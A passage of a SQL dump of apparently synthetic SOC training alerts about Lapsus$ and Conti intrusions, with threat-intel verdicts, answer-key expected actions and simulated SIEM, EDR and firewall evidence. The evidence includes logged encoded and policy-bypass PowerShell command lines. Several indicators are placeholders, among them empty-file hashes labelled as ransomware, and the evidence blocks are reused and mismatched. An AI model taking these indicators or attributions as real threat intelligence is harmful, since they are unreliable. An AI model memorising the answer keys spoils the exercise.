communications.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"escalate\"]}', 'expert', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.591Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.5\\\",\\\"user\\\":\\\"lapsus$member\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"Twitter\\\",\\\"content\\\":\\\"Nvidia, open-source your drivers or face more leaks. #OpenSourceDrivers\\\",\\\"related_hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d1f2e6f1c2b8a3c4d5e6f7b8c2d1e3a4\\\"],\\\"related_files\\\":[\\\"NVIDIA_Internal_Document1.pdf\\\",\\\"NVIDIA_Internal_Document2.pdf\\\"],\\\"related_email\\\":\\\"contact@lapsus$.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.591Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.5\\\",\\\"user\\\":\\\"lapsus$member\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"Twitter\\\",\\\"content\\\":\\\"Nvidia, open-source your drivers or face more leaks. #OpenSourceDrivers\\\",\\\"related_hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d1f2e6f1c2b8a3c4d5e6f7b8c2d1e3a4\\\"],\\\"related_files\\\":[\\\"NVIDIA_Internal_Document1.pdf\\\",\\\"NVIDIA_Internal_Document2.pdf\\\"],\\\"related_email\\\":\\\"contact@lapsus$.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.591Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.5\\\",\\\"user\\\":\\\"lapsus$member\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"Twitter\\\",\\\"content\\\":\\\"Nvidia, open-source your drivers or face more leaks. #OpenSourceDrivers\\\",\\\"related_hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d1f2e6f1c2b8a3c4d5e6f7b8c2d1e3a4\\\"],\\\"related_files\\\":[\\\"NVIDIA_Internal_Document1.pdf\\\",\\\"NVIDIA_Internal_Document2.pdf\\\"],\\\"related_email\\\":\\\"contact@lapsus$.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.591Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.5\\\",\\\"user\\\":\\\"lapsus$member\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"Twitter\\\",\\\"content\\\":\\\"Nvidia, open-source your drivers or face more leaks. #OpenSourceDrivers\\\",\\\"related_hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d1f2e6f1c2b8a3c4d5e6f7b8c2d1e3a4\\\"],\\\"related_files\\\":[\\\"NVIDIA_Internal_Document1.pdf\\\",\\\"NVIDIA_Internal_Document2.pdf\\\"],\\\"related_email\\\":\\\"contact@lapsus$.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.591Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.5\\\",\\\"user\\\":\\\"lapsus$member\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"Twitter\\\",\\\"content\\\":\\\"Nvidia, open-source your drivers or face more leaks. #OpenSourceDrivers\\\",\\\"related_hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d1f2e6f1c2b8a3c4d5e6f7b8c2d1e3a4\\\"],\\\"related_files\\\":[\\\"NVIDIA_Internal_Document1.pdf\\\",\\\"NVIDIA_Internal_Document2.pdf\\\"],\\\"related_email\\\":\\\"contact@lapsus$.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(910, 'Public Disclosure and Spectacle Tactics', 'high', 'Press releases and news articles', 'The attacker group has released sensitive data to media outlets, leveraging public spectacle to amplify their demands against Nvidia. This includes press releases and strategically placed news articles aimed at maximizing public attention.', 'Public Disclosure', 'T1585.001 - Establish Accounts: Social Media Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"event_type\":\"public_disclosure\",\"source_ip\":\"198.51.100.14\",\"affected_organization\":\"Nvidia\",\"media_outlet\":\"HackerNews\",\"disclosed_data\":[{\"file_name\":\"nvidia_leaked_plans.pdf\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\"},{\"file_name\":\"confidential_emails.txt\",\"file_hash\":\"7d793037a0760186574b0282f2f435e7\"}],\"user_account\":\"attacker@darkmail.com\",\"disclosure_platform\":\"https://hackernews.com/leaks/nvidia\"}', '2026-01-15 01:00:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.14\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous cyber-attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"nvidia_leaked_plans.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"File associated with data breaches.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_emails.txt\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"File associated with unauthorized disclosures.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"attacker@darkmail.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Email used in multiple attack campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"url\",\"value\":\"https://hackernews.com/leaks/nvidia\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"suspicious\",\"details\":\"URL used for public disclosure of sensitive information.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'expert', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.593Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"public_disclosure\\\",\\\"source_ip\\\":\\\"198.51.100.14\\\",\\\"affected_organization\\\":\\\"Nvidia\\\",\\\"media_outlet\\\":\\\"HackerNews\\\",\\\"disclosed_data\\\":[{\\\"file_name\\\":\\\"nvidia_leaked_plans.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"},{\\\"file_name\\\":\\\"confidential_emails.txt\\\",\\\"file_hash\\\":\\\"7d793037a0760186574b0282f2f435e7\\\"}],\\\"user_account\\\":\\\"attacker@darkmail.com\\\",\\\"disclosure_platform\\\":\\\"https://hackernews.com/leaks/nvidia\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.593Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"public_disclosure\\\",\\\"source_ip\\\":\\\"198.51.100.14\\\",\\\"affected_organization\\\":\\\"Nvidia\\\",\\\"media_outlet\\\":\\\"HackerNews\\\",\\\"disclosed_data\\\":[{\\\"file_name\\\":\\\"nvidia_leaked_plans.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"},{\\\"file_name\\\":\\\"confidential_emails.txt\\\",\\\"file_hash\\\":\\\"7d793037a0760186574b0282f2f435e7\\\"}],\\\"user_account\\\":\\\"attacker@darkmail.com\\\",\\\"disclosure_platform\\\":\\\"https://hackernews.com/leaks/nvidia\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.593Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"public_disclosure\\\",\\\"source_ip\\\":\\\"198.51.100.14\\\",\\\"affected_organization\\\":\\\"Nvidia\\\",\\\"media_outlet\\\":\\\"HackerNews\\\",\\\"disclosed_data\\\":[{\\\"file_name\\\":\\\"nvidia_leaked_plans.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"},{\\\"file_name\\\":\\\"confidential_emails.txt\\\",\\\"file_hash\\\":\\\"7d793037a0760186574b0282f2f435e7\\\"}],\\\"user_account\\\":\\\"attacker@darkmail.com\\\",\\\"disclosure_platform\\\":\\\"https://hackernews.com/leaks/nvidia\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.593Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"public_disclosure\\\",\\\"source_ip\\\":\\\"198.51.100.14\\\",\\\"affected_organization\\\":\\\"Nvidia\\\",\\\"media_outlet\\\":\\\"HackerNews\\\",\\\"disclosed_data\\\":[{\\\"file_name\\\":\\\"nvidia_leaked_plans.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"},{\\\"file_name\\\":\\\"confidential_emails.txt\\\",\\\"file_hash\\\":\\\"7d793037a0760186574b0282f2f435e7\\\"}],\\\"user_account\\\":\\\"attacker@darkmail.com\\\",\\\"disclosure_platform\\\":\\\"https://hackernews.com/leaks/nvidia\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.593Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"event_type\\\":\\\"public_disclosure\\\",\\\"source_ip\\\":\\\"198.51.100.14\\\",\\\"affected_organization\\\":\\\"Nvidia\\\",\\\"media_outlet\\\":\\\"HackerNews\\\",\\\"disclosed_data\\\":[{\\\"file_name\\\":\\\"nvidia_leaked_plans.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"},{\\\"file_name\\\":\\\"confidential_emails.txt\\\",\\\"file_hash\\\":\\\"7d793037a0760186574b0282f2f435e7\\\"}],\\\"user_account\\\":\\\"attacker@darkmail.com\\\",\\\"disclosure_platform\\\":\\\"https://hackernews.com/leaks/nvidia\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(911, 'Suspicious Email: Initial Access', 'medium', 'Email Gateway Logs', 'A phishing email was detected attempting to gain initial access to government networks by exploiting vulnerabilities in employee awareness. The email contained a malicious attachment aiming to compromise ministry systems.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:00Z\",\"email_subject\":\"Important Update - Payroll Department\",\"sender_email\":\"hr-department@maliciousdomain.com\",\"recipient_email\":\"employee@governmentagency.gov\",\"attachment_name\":\"Payroll_Update_2023.docx\",\"attachment_hash\":\"b6a9c8b37a7d7c8c8d8e9f8b9f8e7d7c\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.23\",\"malicious_link\":\"http://maliciousdomain.com/update\"}', '2026-01-15 01:02:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"hr-department@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b6a9c8b37a7d7c8c8d8e9f8b9f8e7d7c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as malware by multiple AV engines.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP involved in phishing activities.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/update\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"URL hosts phishing landing page.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email: Initial Access\",\"date\":\"2026-02-01T20:32:22.594Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(912, 'Malicious Script Execution Detected', 'high', 'Endpoint Detection and Response (EDR) Systems', 'Once access was obtained, Conti executed malicious scripts to deploy ransomware across critical infrastructure systems.', 'Malware Execution', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T14:22:35Z\",\"event_id\":\"EDR-456789\",\"source_ip\":\"85.214.132.117\",\"destination_ip\":\"192.168.1.12\",\"destination_user\":\"jdoe\",\"malicious_file\":\"ransom_deploy.ps1\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"execution_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\ransom_deploy.ps1\",\"process_id\":4321,\"alert_trigger\":\"Suspicious script execution detected by EDR\"}', '2026-01-15 01:02:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"85.214.132.117\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple ransomware campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"ransom_deploy.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR Analysis\",\"verdict\":\"malicious\",\"details\":\"Script known to deploy Conti ransomware\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Conti ransomware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(913, 'Persistence Mechanism Established', 'medium', 'Network Traffic Analysis', 'To ensure continued access, Conti installed backdoors on compromised systems, allowing them to remotely control and further exploit the network.', 'Backdoor Installation', 'T1543.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:31Z\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"TCP\",\"src_port\":\"4444\",\"dst_port\":\"80\",\"action\":\"Established\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_name\":\"Conti_Backdoor\",\"user\":\"jdoe\",\"filename\":\"conti_backdoor.exe\"}', '2026-01-15 01:02:55', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in the organization.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external_threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known Conti C2 servers.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Conti backdoor sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"conti_backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_forensics\",\"verdict\":\"malicious\",\"details\":\"Suspicious executable identified as part of Conti toolkit.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account within the organization.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(914, 'Lateral Movement to Multiple Ministries', 'critical', 'Active Directory Logs', 'Conti used stolen credentials to move laterally across the network, encrypting data across multiple ministries and escalating the scale of their attack.', 'Credential Theft', 'T1078 - Valid Accounts', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-11T14:35:20Z\",\"event_id\":\"4625\",\"log_name\":\"Security\",\"source_ip\":\"185.123.45.67\",\"user_name\":\"j.doe@government.ministry\",\"target_user\":\"administrator@ministryA.local\",\"target_host\":\"ministryA-server-01\",\"action\":\"Logon Failure\",\"failure_reason\":\"Unknown user name or bad password\",\"hash\":\"bf8e3c7d9b4f5a6c8d7a9b4e3c7d9f8e\",\"file_name\":\"ContiRansomware.exe\",\"internal_ip\":\"192.168.15.23\"}', '2026-01-15 01:02:55', '2026-02-16 17:55:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.123.45.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known Conti ransomware command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"j.doe@government.ministry\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account within the organization.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"bf8e3c7d9b4f5a6c8d7a9b4e3c7d9f8e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Conti ransomware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ContiRansomware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Executable associated with Conti ransomware.\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"192.168.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Scan\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(915, 'Unauthorized Access Detected on Samsung Network', 'high', 'Network Intrusion Detection System (NIDS)', 'An unauthorized access attempt was detected on Samsung\'s corporate network. Analysis indicates that the Lapsus$ group used stolen credentials from a previous phishing campaign to gain initial access.', 'Initial Access', 'T1078', 1, 'new', NULL, '{\"timestamp\":\"2023-10-17T02:14:30Z\",\"event_id\":\"1001\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.23\",\"username\":\"jdoe\",\"action\":\"login_attempt\",\"result\":\"failure\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"credentials_source\":\"phishing_campaign\",\"event_description\":\"Failed login attempt detected from external IP using known compromised credentials.\"}', '2026-01-15 01:03:01', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous intrusions by Lapsus$ group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal server used for corporate applications.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account targeted in recent phishing campaign.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(916, 'Malicious Script Execution Identified', 'high', 'Endpoint Detection and Response (EDR)', 'Detected execution of unauthorized scripts on an endpoint aimed at exploring the network for systems with valuable source code. This activity is indicative of an attacker attempting to broaden their access and control.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T15:33:25Z\",\"event_id\":\"EDR-456789\",\"hostname\":\"compromised-host-01\",\"user\":\"jdoe\",\"process\":{\"name\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\Documents\\\\recon.ps1\",\"parent_process\":\"explorer.exe\"},\"network\":{\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"192.168.1.100\",\"external_ip\":\"203.0.113.45\"},\"file\":{\"path\":\"C:\\\\Users\\\\jdoe\\\\Documents\\\\recon.ps1\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"size\":20480},\"malicious_indicator\":{\"external_ip\":\"203.0.113.45\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"}}', '2026-01-15 01:03:01', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash recognized as part of a malware toolkit.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"recon.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Script used for unauthorized network exploration.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc 